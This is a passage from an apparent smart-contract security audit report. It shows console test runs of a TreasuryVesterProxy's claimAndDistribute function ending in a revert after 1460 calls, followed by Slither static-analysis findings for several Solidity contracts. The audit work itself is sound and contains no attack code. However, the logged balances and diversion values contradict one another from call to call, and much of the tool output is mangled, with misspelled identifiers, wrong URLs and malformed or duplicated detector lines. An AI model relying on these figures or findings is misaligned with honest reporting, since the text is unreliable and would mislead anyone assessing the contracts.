67         require(initialized == true, "TreasuryVesterProxy::Not initialized");
68         uint vestedAmountRemaining = treasuryVester.claim(); //175342465000000000000000
69
70         // Increase rate of diversion gain once every 300 days
71         if (distributionCount % uint(300) == uint(0)) {
72             diversionGain += 1_000e18; // day 0 = 1_000e18 , day 301 = 2_000e18
73         }
74
75         // Increase diversion every 30 days
76         if (distributionCount % uint(30) == uint(0)) {
77             diversionAmount += diversionGain;
78         }

```

That is not exactly true. The diversion is increased every 30 `claimAndDistribute` function calls and diversion rate every 300 `claimAndDistribute` function calls, as we can see below:

```

TreasuryVesterProxy.distributionCount() -> 0
TreasuryVesterProxy.diversionGain() -> 0
TreasuryVesterProxy.diversionAmount() -> 1000000000000000000000000

SUSHIERC.balanceOf(TreasuryVester) -> 0
SUSHIERC.balanceOf(TreasuryVesterProxy) -> 0
SUSHIERC.balanceOf(chef) -> 5120000000000000000000000000
SUSHIERC.balanceOf(user2) -> 0

png.balanceOf(TreasuryVester) -> 5120000000000000000000000000
png.balanceOf(TreasuryVesterProxy) -> 0
png.balanceOf(chef) -> 0
png.balanceOf(user2) -> 0

>>> tx = TreasuryVesterProxy.claimAndDistribute()
Transaction sent: 0xf228934e44340446b617b4b746b00b47c534db004130e8dae93083ce47f2c
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 14
TreasuryVesterProxy.claimAndDistribute confirmed Block: 13399339 Gas used: 304236 (4.53%)

>>> output.greenn("TreasuryVesterProxy.distributionCount() -> " + str(TreasuryVesterProxy.distributionCount()))
output.greenn("TreasuryVesterProxy.diversionGain() -> " + str(TreasuryVesterProxy.diversionGain()))
output.greenn("TreasuryVesterProxy.diversionAmount() -> " + str(TreasuryVesterProxy.diversionAmount()))
print()
output.yellow("SUSHIERC.balanceOf(TreasuryVester) -> " + str(SUSHIERC.balanceOf(TreasuryVester)))
output.yellow("SUSHIERC.balanceOf(TreasuryVesterProxy) -> " + str(SUSHIERC.balanceOf(TreasuryVesterProxy)))
output.yellow("SUSHIERC.balanceOf(chef) -> " + str(SUSHIERC.balanceOf(chef)))
output.yellow("SUSHIERC.balanceOf(user2) -> " + str(SUSHIERC.balanceOf(user2)))
print()
output.yellow("png.balanceOf(TreasuryVester) -> " + str(png.balanceOf(TreasuryVester)))
output.yellow("png.balanceOf(TreasuryVesterProxy) -> " + str(png.balanceOf(TreasuryVesterProxy)))
output.yellow("png.balanceOf(chef) -> " + str(png.balanceOf(chef)))
output.yellow("png.balanceOf(user2) -> " + str(png.balanceOf(user2)))
TreasuryVesterProxy.distributionCount() -> 1
TreasuryVesterProxy.diversionGain() -> 1000000000000000000000000000
TreasuryVesterProxy.diversionAmount() -> 2000000000000000000000000000

SUSHIERC.balanceOf(TreasuryVester) -> 0
SUSHIERC.balanceOf(TreasuryVesterProxy) -> 0
SUSHIERC.balanceOf(chef) -> 5120000000000000000000000000
SUSHIERC.balanceOf(user2) -> 0

png.balanceOf(TreasuryVester) -> 5118246575350000000000000000
png.balanceOf(TreasuryVesterProxy) -> 1733424650000000000000000000
png.balanceOf(chef) -> 0
png.balanceOf(user2) -> 2000000000000000000000000000
>>> chain.sleep(66400)
>>> chain.mine(1)
13399340

>>> tx = TreasuryVesterProxy.claimAndDistribute()
Transaction sent: 0x3a956432faf8549df41f28477ceadb02b313ad9e65ac6b42ae9cacbe2b7f8c8
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 15
TreasuryVesterProxy.claimAndDistribute confirmed Block: 13399341 Gas used: 129046 (1.92%)

>>> output.greenn("TreasuryVesterProxy.distributionCount() -> " + str(TreasuryVesterProxy.distributionCount()))
output.greenn("TreasuryVesterProxy.diversionGain() -> " + str(TreasuryVesterProxy.diversionGain()))
output.greenn("TreasuryVesterProxy.diversionAmount() -> " + str(TreasuryVesterProxy.diversionAmount()))
print()
output.yellow("SUSHIERC.balanceOf(TreasuryVester) -> " + str(SUSHIERC.balanceOf(TreasuryVester)))
output.yellow("SUSHIERC.balanceOf(TreasuryVesterProxy) -> " + str(SUSHIERC.balanceOf(TreasuryVesterProxy)))
output.yellow("SUSHIERC.balanceOf(chef) -> " + str(SUSHIERC.balanceOf(chef)))
output.yellow("SUSHIERC.balanceOf(user2) -> " + str(SUSHIERC.balanceOf(user2)))
print()
output.yellow("png.balanceOf(TreasuryVester) -> " + str(png.balanceOf(TreasuryVester)))

```

```

output.yellow("png.balanceOf(TreasuryVesterProxy) -> " + str(png.balanceOf(TreasuryVesterProxy)))
output.yellow("png.balanceOf(chef) -> " + str(png.balanceOf(chef)))
output.yellow("png.balanceOf(user2) -> " + str(png.balanceOf(user2)))
TreasuryVesterProxy.distributionCount() -> 2
TreasuryVesterProxy.diversionGain() -> 1000000000000000000
TreasuryVesterProxy.diversionAmount() -> 20000000000000000000

SUSHIERC.balanceOf(TreasuryVester) -> 0
SUSHIERC.balanceOf(TreasuryVesterProxy) -> 0
SUSHIERC.balanceOf(chef) -> 5120000000000000000000000000
SUSHIERC.balanceOf(user2) -> 0

png.balanceOf(TreasuryVester) -> 5116493150700000000000000000
png.balanceOf(TreasuryVesterProxy) -> 3466849300000000000000000000
png.balanceOf(chef) -> 0
png.balanceOf(user2) -> 4000000000000000000000000000
>>> chain.sleep(86400*30)
>>> chain.mine(1)
13392946
>>> tx = TreasuryVesterProxy.claimAndDistribute()
Transaction sent: 0x41ef998d0951f4d70b585d287be0f84dd2cc2dbec157d993732f022865de47
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 16
TreasuryVesterProxy.claimAndDistribute confirmed Block: 13399343 Gas used: 129046 (1.92%)

>>> output.green("TreasuryVesterProxy.distributionCount() -> " + str(TreasuryVesterProxy.distributionCount()))
output.green("TreasuryVesterProxy.diversionGain() -> " + str(TreasuryVesterProxy.diversionGain()))
output.green("TreasuryVesterProxy.diversionAmount() -> " + str(TreasuryVesterProxy.diversionAmount()))
print()
output.yellow("SUSHIERC.balanceOf(TreasuryVester) -> " + str(SUSHIERC.balanceOf(TreasuryVester)))
output.yellow("SUSHIERC.balanceOf(TreasuryVesterProxy) -> " + str(SUSHIERC.balanceOf(TreasuryVesterProxy)))
output.yellow("SUSHIERC.balanceOf(chef) -> " + str(SUSHIERC.balanceOf(chef)))
output.yellow("SUSHIERC.balanceOf(user2) -> " + str(SUSHIERC.balanceOf(user2)))
print()
output.yellow("png.balanceOf(TreasuryVester) -> " + str(png.balanceOf(TreasuryVester)))
output.yellow("png.balanceOf(TreasuryVesterProxy) -> " + str(png.balanceOf(TreasuryVesterProxy)))
output.yellow("png.balanceOf(chef) -> " + str(png.balanceOf(chef)))
output.yellow("png.balanceOf(user2) -> " + str(png.balanceOf(user2)))
TreasuryVesterProxy.distributionCount() -> 3
TreasuryVesterProxy.diversionGain() -> 1000000000000000000000000000
TreasuryVesterProxy.diversionAmount() -> 2000000000000000000000000000

SUSHIERC.balanceOf(TreasuryVester) -> 0
SUSHIERC.balanceOf(TreasuryVesterProxy) -> 0
SUSHIERC.balanceOf(chef) -> 5120000000000000000000000000
SUSHIERC.balanceOf(user2) -> 0

png.balanceOf(TreasuryVester) -> 5114739726050000000000000000
png.balanceOf(TreasuryVesterProxy) -> 5200273950000000000000000000
png.balanceOf(chef) -> 0
png.balanceOf(user2) -> 6000000000000000000000000000

```

### After 302 calls:

```

TreasuryVesterProxy.distributionCount() -> 302
TreasuryVesterProxy.diversionGain() -> 2000000000000000000000000000
TreasuryVesterProxy.diversionAmount() -> 1300000000000000000000000000

SUSHIERC.balanceOf(TreasuryVester) -> 0
SUSHIERC.balanceOf(TreasuryVesterProxy) -> 0
SUSHIERC.balanceOf(chef) -> 5120000000000000000000000000
SUSHIERC.balanceOf(user2) -> 0

png.balanceOf(TreasuryVester) -> 4590463757000000000000000000
png.balanceOf(TreasuryVesterProxy) -> 5097742443000000000000000000
png.balanceOf(chef) -> 0
png.balanceOf(user2) -> 7540000000000000000000000000

```

After 1460 calls. We can also see how the call 1461 is reverting:

```
TreasuryVesterProxy.distributionCount() -> 1460
TreasuryVesterProxy.diversionGain() -> 5000000000000000000
TreasuryVesterProxy.diversionAmount() -> 14600000000000000000

SUSHIERC.balanceOf(TreasuryVester) -> 0
SUSHIERC.balanceOf(TreasuryVesterProxy) -> 0
SUSHIERC.balanceOf(chef) -> 5120000000000000000000000
SUSHIERC.balanceOf(user2) -> 0

png.balanceOf(TreasuryVester) -> 2560000011000000000000000000
png.balanceOf(TreasuryVesterProxy) -> 1757399989000000000000000000
png.balanceOf(chef) -> 0
png.balanceOf(user2) -> 7540000000000000000000000000

>>> chain.sleep(86400)
>>> chain.mine(1)
1460:1460
>>> tx = TreasuryVesterProxy.claimAndDistribute()
Transaction sent: 0xbdb2a5d909f2afdb16a7df58ed11c0082b690fc0242b308aaf74ea36961c1b86
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 1472
TreasuryVesterProxy.claimAndDistribute confirmed (Integer overflow) Block: 13405191 Gas used: 87899 (1.31%)

>>> tx.call_trace
<bound method TransactionReceipt.call_trace of <Transaction '0xbdb2a5d909f2afdb16a7df58ed11c0082b690fc0242b308aaf74ea36961c1b86'>>
>>> tx.call_trace()
Call trace for '0xbdb2a5d909f2afdb16a7df58ed11c0082b690fc0242b308aaf74ea36961c1b86':
Initial call cost [21064 gas]
TreasuryVesterProxy.claimAndDistribute 0:1509 [10544 / 66935 gas]
├── TreasuryVester.claim [CALL] 105:1362 [34530 / 56291 gas]
│   ├── SafeERC20.safeTransfer 234:1303 [219 / 21753 gas]
│   │   └── SafeERC20.callOptionalReturn 296:1298 [224 / 21534 gas]
│   │       └── Address.functionCall 332:1267 [53 / 21310 gas]
│   │           └── Address.functionCallWithValue 341:1255 [689 / 21257 gas]
│   │               ├── Address.isContract 354:360 [719 gas]
│   │               ├── Eng.transfer [CALL] 487:1183 [5278 / 19790 gas]
│   │               │   ├── Eng.safe96 692:710 [59 gas]
│   │               │   ├── Eng.transferTokens 719:1034 [14165 / 14353 gas]
│   │               │   │   ├── Eng.sub96 796:826 [95 gas]
│   │               │   │   └── Eng.add96 909:939 [93 gas]
│   │               │   └── Eng.moveDelegates 1092:1122 [100 gas]
│   │               └── Address.verifyCallResult 1231:1248 [60 gas]
└── Address.isContract 354:360 [719 gas]
```

The revert is caused in the line 80:

```
65
66 function claimAndDistribute() external {
67     require(initialized == true, "TreasuryVesterProxy:Not initialized");
68     uint vestedAmountRemaining = TreasuryVester.claim();
69
70     // Increase rate of diversion gain once every 300 days
71     if (distributionCount % uint(300) == uint(0)) {
72         diversionGain += 1_000e18;
73     }
74
75     // Increase diversion every 30 days
76     if (distributionCount % uint(30) == uint(0)) {
77         diversionAmount += diversionGain;
78     }
79
80     uint chefMaxAmount = vestedAmountRemaining - diversionAmount;
81
```

```
>>> tx2 = TreasuryVester.claim({'from': TreasuryVesterProxy.address})
Transaction sent: 0x9900459ebf2130d308c5781447503de506ae118e946b8f4d47957393d6ac7bb
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 1
TreasuryVester.claim confirmed Block: 13405193 Gas used: 72455 (1.08%)

>>> tx2.return_value
0x00000000000000000000000000000000

>>> TreasuryVesterProxy.diversionAmount()
146000000000000000000000000000000000
```

```
>>> 8767123250000000000000000000 - 146000000000000000000000000000000000
-5832078750000000000000000000000000
```

This is an expected behaviour as the tokens will be distributed in 4 years, not 28.



# AUTOMATED TESTING

# 5.1 STATIC ANALYSIS REPORT

## Description:

Halborn used automated testing techniques to enhance the coverage of certain areas of the scoped contracts. Among the tools used was Slither, a Solidity static analysis framework. After Halborn verified all the contracts in the repository and was able to compile them correctly into their abi and binary formats, Slither was run on the all-scoped contracts. This tool can statically verify mathematical relationships between Solidity variables to detect invalid or inconsistent usage of the contracts’ APIs across the entire code-base.

## Slither results:

### Airdrop.sol

```
INFO:Detectors:
Airdrop.constructor(address,address,address,address,address,address,address)_pmg_(contracts/Airdrop.sol#44) lacks a zero-check on :
- pmg = pmg_(contracts/Airdrop.sol#44)
Airdrop.constructor(address,address,address,address,address,address,address)_uni_(contracts/Airdrop.sol#45) lacks a zero-check on :
- uni = uni_(contracts/Airdrop.sol#45)
Airdrop.constructor(address,address,address,address,address,address,address)_wushl_(contracts/Airdrop.sol#46) lacks a zero-check on :
- wushl = wushl_(contracts/Airdrop.sol#46)
Airdrop.constructor(address,address,address,address,address,address,address)_owner_(contracts/Airdrop.sol#47) lacks a zero-check on :
- owner = owner_(contracts/Airdrop.sol#47)
Airdrop.constructor(address,address,address,address,address,address,address)_remainderDestination_(contracts/Airdrop.sol#48) lacks a zero-check on :
- remainderDestination = remainderDestination_(contracts/Airdrop.sol#48)
Airdrop.setRemainderDestination(address,remainderDestination)(contracts/Airdrop.sol#49) lacks a zero-check on :
- remainderDestination = remainderDestination_(contracts/Airdrop.sol#49)
Airdrop.reowner(address)_owner_(contracts/Airdrop.sol#73) lacks a zero-check on :
- owner = owner_(contracts/Airdrop.sol#73)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#missing-zero-address-validation
INFO:Detectors:
Frma version'0.8.0' (contracts/Airdrop.sol#2) necessitates a version too recent to be trusted. Consider deploying with 0.4.12/0.7.6
solc'0.8.0' is not recommended for deployment
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#incorrect-versions-of-solidity
```

### CommunityTreasury.sol

```
INFO:Detectors:
CommunityTreasury (contracts/CommunityTreasury.sol#12-37) has incorrect ERC20 function interface:CommunityTreasury.transfer(address,uint256) (contracts/CommunityTreasury.sol#25-27)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#incorrect-erc20-interface
INFO:Detectors:
Address.isContract(address)(node_modules/@openzeppelin/contracts/utils/Address.sol#83) uses assembly
- INLINE ASM (node_modules/@openzeppelin/contracts/utils/Address.sol#83)
Address.verifyCallResult(bool,bytes,string)(node_modules/@openzeppelin/contracts/utils/Address.sol#171-180) uses assembly
- INLINE ASM (node_modules/@openzeppelin/contracts/utils/Address.sol#171-180)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#assembly-usage
INFO:Detectors:
Different versions of Solidity is used:
- Version used: [">=0.6.0<0.8.0", ">=0.6.2<0.8.0", ">=0.7.4"]
- >=0.6.0<0.8.0 (node_modules/@openzeppelin/contracts/access/Ownable.sol#33)
- >=0.6.0<0.8.0 (node_modules/@openzeppelin/contracts/math/SafeMath.sol#3)
- >=0.6.0<0.8.0 (node_modules/@openzeppelin/contracts/token/ERC20/ERC20.sol#3)
- >=0.6.0<0.8.0 (node_modules/@openzeppelin/contracts/token/ERC20/SafeERC20.sol#3)
- >=0.6.0<0.8.0 (node_modules/@openzeppelin/contracts/utils/Address.sol#3)
- >=0.6.0<0.8.0 (node_modules/@openzeppelin/contracts/utils/Context.sol#3)
- >=0.7.4 (contracts/CommunityTreasury.sol#1)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#different-pragma-directives-are-used
INFO:Detectors:
Address.functionCall(address,bytes)(node_modules/@openzeppelin/contracts/utils/Address.sol#79-81) is never used and should be removed
Address.functionCall181(IValue,address,bytes,uint256)(node_modules/@openzeppelin/contracts/utils/Address.sol#104-106) is never used and should be removed
Address.functionDelegateCall(address,bytes)(node_modules/@openzeppelin/contracts/utils/Address.sol#133) is never used and should be removed
Address.functionDelegateCall(address,bytes,string)(node_modules/@openzeppelin/contracts/utils/Address.sol#163-169) is never used and should be removed
Address.functionStaticCall(address,bytes)(node_modules/@openzeppelin/contracts/utils/Address.sol#129-131) is never used and should be removed
Address.functionStaticCall(address,bytes,string)(node_modules/@openzeppelin/contracts/utils/Address.sol#138-145) is never used and should be removed
Address.sendValue(address,uint256)(node_modules/@openzeppelin/contracts/utils/Address.sol#85-89) is never used and should be removed
Context.msgData() (node_modules/@openzeppelin/contracts/utils/Context.sol#23) is never used and should be removed
SafeERC20.safeApprove(ERC20,address,uint256)(node_modules/@openzeppelin/contracts/token/ERC20/SafeERC20.sol#37-46) is never used and should be removed
SafeERC20.safeDecreaseAllowance(ERC20,address,uint256)(node_modules/@openzeppelin/contracts/token/ERC20/SafeERC20.sol#53-56) is never used and should be removed
SafeERC20.safeIncreaseAllowance(ERC20,address,uint256)(node_modules/@openzeppelin/contracts/token/ERC20/SafeERC20.sol#49-51) is never used and should be removed
SafeERC20.safeTransferFrom(ERC20,address,address,uint256)(node_modules/@openzeppelin/contracts/token/ERC20/SafeERC20.sol#26-28) is never used and should be removed
SafeMath.mod(uint256,uint256)(node_modules/@openzeppelin/contracts/math/SafeMath.sol#109-109) is never used and should be removed
SafeMath.div(uint256,uint256)(node_modules/@openzeppelin/contracts/math/SafeMath.sol#135-139) is never used and should be removed
SafeMath.mod(uint256,uint256,string)(node_modules/@openzeppelin/contracts/math/SafeMath.sol#110-113) is never used and should be removed
SafeMath.mul(uint256,uint256)(node_modules/@openzeppelin/contracts/math/SafeMath.sol#114-121) is never used and should be removed
SafeMath.mul(uint256,uint256,string)(node_modules/@openzeppelin/contracts/math/SafeMath.sol#114-121) is never used and should be removed
SafeMath.mod(uint256,uint256)(node_modules/@openzeppelin/contracts/math/SafeMath.sol#112-115) is never used and should be removed
SafeMath.mod(uint256,uint256,string)(node_modules/@openzeppelin/contracts/math/SafeMath.sol#110-113) is never used and should be removed
SafeMath.mul(uint256,uint256)(node_modules/@openzeppelin/contracts/math/SafeMath.sol#114-121) is never used and should be removed
SafeMath.mul(uint256,uint256,string)(node_modules/@openzeppelin/contracts/math/SafeMath.sol#114-121) is never used and should be removed
SafeMath.tryAdd(uint256,uint256)(node_modules/@openzeppelin/contracts/math/SafeMath.sol#24-28) is never used and should be removed
SafeMath.tryDiv(uint256,uint256)(node_modules/@openzeppelin/contracts/math/SafeMath.sol#40-43) is never used and should be removed
SafeMath.tryMod(uint256,uint256)(node_modules/@openzeppelin/contracts/math/SafeMath.sol#47-51) is never used and should be removed
SafeMath.tryMul(uint256,uint256)(node_modules/@openzeppelin/contracts/math/SafeMath.sol#45-53) is never used and should be removed
SafeMath.tryMod(uint256,uint256,string)(node_modules/@openzeppelin/contracts/math/SafeMath.sol#47-51) is never used and should be removed
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#dead-code
```

```

INFO:Detectors:
Pragma version=0.6.0@0.8.0 (node_modules/@openzeppelin/contracts/access/Ownable.sol#3) is too complex
Pragma version=0.6.0@0.8.0 (node_modules/@openzeppelin/contracts/access/Ownable.sol#3) is too complex
Pragma version=0.6.0@0.8.0 (node_modules/@openzeppelin/contracts/access/Ownable.sol#3) is too complex
Pragma version=0.6.0@0.8.0 (node_modules/@openzeppelin/contracts/access/Ownable.sol#3) is too complex
Pragma version=0.6.0@0.8.0 (node_modules/@openzeppelin/contracts/access/Ownable.sol#3) is too complex
Pragma version=0.6.0@0.8.0 (node_modules/@openzeppelin/contracts/access/Ownable.sol#3) is too complex
Pragma version=0.6.0@0.8.0 (node_modules/@openzeppelin/contracts/access/Ownable.sol#3) is too complex
Reference: https://github.com/crytic/Slither/wiki/Detector-Documentation#incorrect-relations-of-solidity
INFO:Detectors:
Low level call in Address.sendValue(address,uint256) (node_modules/@openzeppelin/contracts/Utils/Address.sol#153-159):
- (success) = recipient.call(value amount) (node_modules/@openzeppelin/contracts/Utils/Address.sol#114-121)
Low level call in Address.functionCallWithValue(address,bytes,uint256,string) (node_modules/@openzeppelin/contracts/Utils/Address.sol#114-121):
- (success,returndata) = target.call(value value(data) (node_modules/@openzeppelin/contracts/Utils/Address.sol#113)
Low level call in Address.functionStaticCall(address,bytes,string) (node_modules/@openzeppelin/contracts/Utils/Address.sol#139-145):
- (success,returndata) = target.staticCall(data) (node_modules/@openzeppelin/contracts/Utils/Address.sol#143)
Low level call in Address.functionDelegateCall(address,bytes,string) (node_modules/@openzeppelin/contracts/Utils/Address.sol#163-169):
- (success,returndata) = target.delegateCall(data) (node_modules/@openzeppelin/contracts/Utils/Address.sol#167)
Reference: https://github.com/crytic/Slither/wiki/Detector-Documentation#low-level-calls
INFO:Detectors:
Boolean expression "this (node_modules/@openzeppelin/contracts/Utils/Context.sol#21)" inContext (node_modules/@openzeppelin/contracts/Utils/Context.sol#19-24)
Reference: https://github.com/crytic/Slither/wiki/Detector-Documentation#redundant-statements
INFO:Detectors:
renounceOwnership() should be declared external:
- Ownable.renounceOwnership() (node_modules/@openzeppelin/contracts/access/Ownable.sol#54-57)
transferOwnership(address) should be declared external:
- Ownable.transferOwnership(address) (node_modules/@openzeppelin/contracts/access/Ownable.sol#63-67)
Reference: https://github.com/crytic/Slither/wiki/Detector-Documentation#public-function-that-could-be-declared-external

```

## GovernorAlpha.sol

```

INFO:Detectors:
GovernorAlpha.execute(uint256) (contracts/GovernorAlpha.sol#194-204) sends eth to arbitrary user
Dangerous calls:
- timelock.executeTransactionValue(proposal.values[1],proposal.targets[1],proposal.signatures[1],proposal.callDatas[1],proposal.eta) (contracts/GovernorAlpha.sol#201)
Reference: https://github.com/crytic/Slither/wiki/Detector-Documentation#arbitrary-destinations
INFO:Detectors:
GovernorAlpha._queueOververt(address,uint256,string,bytes,uint256) (contracts/GovernorAlpha.sol#191-194) ignores return value by timelock.queueTransaction(target,value,signature,data,eta) (contracts/GovernorAlpha.sol#193)
GovernorAlpha.execute(uint256) (contracts/GovernorAlpha.sol#194-204) ignores return value by timelock.executeTransactionValue(proposal.values[1],proposal.targets[1],proposal.signatures[1],proposal.callDatas[1],proposal.eta) (contracts/GovernorAlpha.sol#201)
GovernorAlpha._queueSetTimelockPendingAdmin(address,uint256) (contracts/GovernorAlpha.sol#199-202) ignores return value by timelock.queueTransaction(address,uint256,0,setDataPendingAdmin(address),abi.encode(setDataPendingAdmin),eta) (contracts/GovernorAlpha.sol#200)
GovernorAlpha._queueSetTimelockFundingAdmin(address,uint256) (contracts/GovernorAlpha.sol#204-207) ignores return value by timelock.executeTransaction(address,uint256,0,setDataFundingAdmin(address),abi.encode(setDataFundingAdmin),eta) (contracts/GovernorAlpha.sol#206)
Reference: https://github.com/crytic/Slither/wiki/Detector-Documentation#unused-return
INFO:Detectors:
GovernorAlpha.cancel(uint256) (contracts/GovernorAlpha.sol#207) shadowed:
- GovernorAlpha.cancel(uint256) (contracts/GovernorAlpha.sol#206-210) (function)
Reference: https://github.com/crytic/Slither/wiki/Detector-Documentation#local-variable-shadowing
INFO:Detectors:
GovernorAlpha.constructor(address,address,address) (contracts/GovernorAlpha.sol#133) lacks a zero-check on :
- guardian (contracts/GovernorAlpha.sol#134)
Reference: https://github.com/crytic/Slither/wiki/Detector-Documentation#missing-zero-address-validation
INFO:Detectors:
GovernorAlpha.execute(uint256) (contracts/GovernorAlpha.sol#194-204) has external calls inside a loop: timelock.executeTransactionValue(proposal.values[1],proposal.targets[1],proposal.signatures[1],proposal.callDatas[1],proposal.eta) (contracts/GovernorAlpha.sol#201)
GovernorAlpha.cancel(uint256) (contracts/GovernorAlpha.sol#206-210) has external calls inside a loop: timelock.cancelTransaction(proposal.targets[1],proposal.values[1],proposal.signatures[1],proposal.callDatas[1],proposal.eta) (contracts/GovernorAlpha.sol#207)
Reference: https://github.com/crytic/Slither/wiki/Detector-Documentation#calls-inside-a-loop
INFO:Detectors:
GovernorAlpha._queueOververt(address,uint256,string,bytes,uint256) (contracts/GovernorAlpha.sol#191-194) uses timestamp for comparisons
Dangerous comparisons:
- require(block.timestamp < timelock.queueTransaction(block.timestamp)(abi.encode(target,value,signature,data,eta)),GovernorAlpha._queueOververt: proposal action already queued at eta) (contracts/GovernorAlpha.sol#192)
GovernorAlpha.state(uint256) (contracts/GovernorAlpha.sol#230-250) uses timestamp for comparisons
Dangerous comparisons:
- block.timestamp < proposal.startTime (contracts/GovernorAlpha.sol#235)
- block.timestamp <= proposal.endTime (contracts/GovernorAlpha.sol#237)
- block.timestamp <= address(proposal.eta).timelock.getBlockTimestamp() (contracts/GovernorAlpha.sol#249)
GovernorAlpha.add256(uint256,uint256) (contracts/GovernorAlpha.sol#308-313) uses timestamp for comparisons
Dangerous comparisons:
- require(block.timestamp <= a.addition overflow (contracts/GovernorAlpha.sol#311)
Reference: https://github.com/crytic/Slither/wiki/Detector-Documentation#block-timestamp
INFO:Detectors:
GovernorAlpha.getChainId() (contracts/GovernorAlpha.sol#320-324) uses assembly
- INLINE ASM (contracts/GovernorAlpha.sol#322)
Reference: https://github.com/crytic/Slither/wiki/Detector-Documentation#assembly-usage
INFO:Detectors:
GovernorAlpha.castVote(address,uint256,bool) (contracts/GovernorAlpha.sol#248-257) compares to a boolean constant:
- require(bool, string) (except hasVoteed = false,GovernorAlpha.castVote: vote already voted) (contracts/GovernorAlpha.sol#273)
Reference: https://github.com/crytic/Slither/wiki/Detector-Documentation#boolean-equality
INFO:Detectors:
Function GovernorAlpha._acceptAdmin() (contracts/GovernorAlpha.sol#289-292) is not in mixedCase
Function GovernorAlpha._abdicate() (contracts/GovernorAlpha.sol#294-297) is not in mixedCase
Function GovernorAlpha._queueSetTimelockPendingAdmin(address,uint256) (contracts/GovernorAlpha.sol#299-302) is not in mixedCase
Function GovernorAlpha._queueSetTimelockFundingAdmin(address,uint256) (contracts/GovernorAlpha.sol#304-307) is not in mixedCase
Function GovernorAlpha._queueSetTimelockFundingAdmin(address,uint256) (contracts/GovernorAlpha.sol#304-307) is not in mixedCase
Reference: https://github.com/crytic/Slither/wiki/Detector-Documentation#naming-conventions
INFO:Detectors:
proposal(address[] uint256[] string[] bytes[], string) should be declared external:
- GovernorAlpha.propose(address[],uint256[],string[],bytes[],string) (contracts/GovernorAlpha.sol#139-178)
queue(uint256) should be declared external:
- GovernorAlpha.queue(uint256) (contracts/GovernorAlpha.sol#180-189)
execute(uint256) should be declared external:
- GovernorAlpha.execute(uint256) (contracts/GovernorAlpha.sol#196-204)
cancel(uint256) should be declared external:
- GovernorAlpha.cancel(uint256) (contracts/GovernorAlpha.sol#206-210)
getActions(uint256) should be declared external:
- GovernorAlpha.getActions(uint256) (contracts/GovernorAlpha.sol#221-224)
getReceipt(uint256,address) should be declared external:
- GovernorAlpha.getReceipt(uint256,address) (contracts/GovernorAlpha.sol#226-228)
castVote(uint256,bool) should be declared external:
- GovernorAlpha.castVote(uint256,bool) (contracts/GovernorAlpha.sol#252-254)
castVoteBySig(uint256,bool,uint32,bytes32,bytes32) should be declared external:
- GovernorAlpha.castVoteBySig(uint256,bool,uint32,bytes32,bytes32) (contracts/GovernorAlpha.sol#256-263)
_acceptAdmin() should be declared external:
- GovernorAlpha._acceptAdmin() (contracts/GovernorAlpha.sol#289-292)
_abdicate() should be declared external:
- GovernorAlpha._abdicate() (contracts/GovernorAlpha.sol#294-297)
_queueOververt(address,uint256) should be declared external:
- GovernorAlpha._queueOververt(address,uint256) (contracts/GovernorAlpha.sol#299-302)
_executeSetTimelockFundingAdmin(address,uint256) should be declared external:
- GovernorAlpha._executeSetTimelockFundingAdmin(address,uint256) (contracts/GovernorAlpha.sol#304-307)
Reference: https://github.com/crytic/Slither/wiki/Detector-Documentation#public-function-that-could-be-declared-external

```

# LiquidityPoolManager.sol

```

INFO:Detectors:
Reentrancy in StakingRewards.exit() (contracts/StakingRewards.sol#114-117):
  External calls:
  - withdraw(balance[msg.sender]) (contracts/StakingRewards.sol#115)
    - returnsdata = address(token),functionCall(data,SafeERC20: low-level call failed) (node_modules/@openzeppelin/contracts/token/ERC20/SafeERC20.sol#69)
    - stakingToken.safeTransfer(msg.sender,amount) (contracts/StakingRewards.sol#101)
    - (success,returndata) = target.call(value: value)(data) (node_modules/@openzeppelin/contracts/utils/Address.sol#119)
  - getReward() (contracts/StakingRewards.sol#116)
    - returnsdata = address(token),functionCall(data,SafeERC20: low-level call failed) (node_modules/@openzeppelin/contracts/token/ERC20/SafeERC20.sol#69)
    - rewardsToken.safeTransfer(msg.sender,reward) (contracts/StakingRewards.sol#109)
    - (success,returndata) = target.call(value: value)(data) (node_modules/@openzeppelin/contracts/utils/Address.sol#119)
  External calls sending eth:
  - withdraw(balance[msg.sender]) (contracts/StakingRewards.sol#115)
    - returnsdata = address(token),functionCall(data,SafeERC20: low-level call failed) (node_modules/@openzeppelin/contracts/token/ERC20/SafeERC20.sol#69)
  - getReward() (contracts/StakingRewards.sol#116)
    - (success,returndata) = target.call(value: value)(data) (node_modules/@openzeppelin/contracts/utils/Address.sol#119)
  State variables written after the call(s):
  - getReward() (contracts/StakingRewards.sol#116)
    - _status = ENTERED (node_modules/@openzeppelin/contracts/utils/ReentrancyGuard.sol#94)
    - _status = NOT_ENTERED (node_modules/@openzeppelin/contracts/utils/ReentrancyGuard.sol#60)
  - getReward() (contracts/StakingRewards.sol#116)
    - lastUpdateTime = lastTimeRewardApplicable() (contracts/StakingRewards.sol#164)
  - getReward() (contracts/StakingRewards.sol#116)
    - rewardFromStaking = rewardFromStaking() (contracts/StakingRewards.sol#163)
  - getReward() (contracts/StakingRewards.sol#116)
    - rewards(msg.sender) = 0 (contracts/StakingRewards.sol#103)
    - rewards(account) = earned(account) (contracts/StakingRewards.sol#166)
  - getReward() (contracts/StakingRewards.sol#116)
    - userRewardTokenStored(account) = rewardTokenStored (contracts/StakingRewards.sol#167)
INFO:Detectors:
Reference: https://github.com/crytic/aiether/wiki/Detector-Documentation#reentrancy-vulnerabilities
INFO:Detectors:
StakingRewards.notifyRewardAmount(uint256) (contracts/StakingRewards.sol#122-141) performs a multiplication on the result of a division:
  - rewardRate = reward.div(rewardsDuration) (contracts/StakingRewards.sol#124)
  - leftover = remaining.mul(rewardRate) (contracts/StakingRewards.sol#137)
INFO:Detectors:
Reference: https://github.com/crytic/aiether/wiki/Detector-Documentation#divide-before-multiply
INFO:Detectors:
Reentrancy in LiquidityPoolManager.withdrawLocation() (contracts/LiquidityPoolManager.sol#330-359):
  External calls:
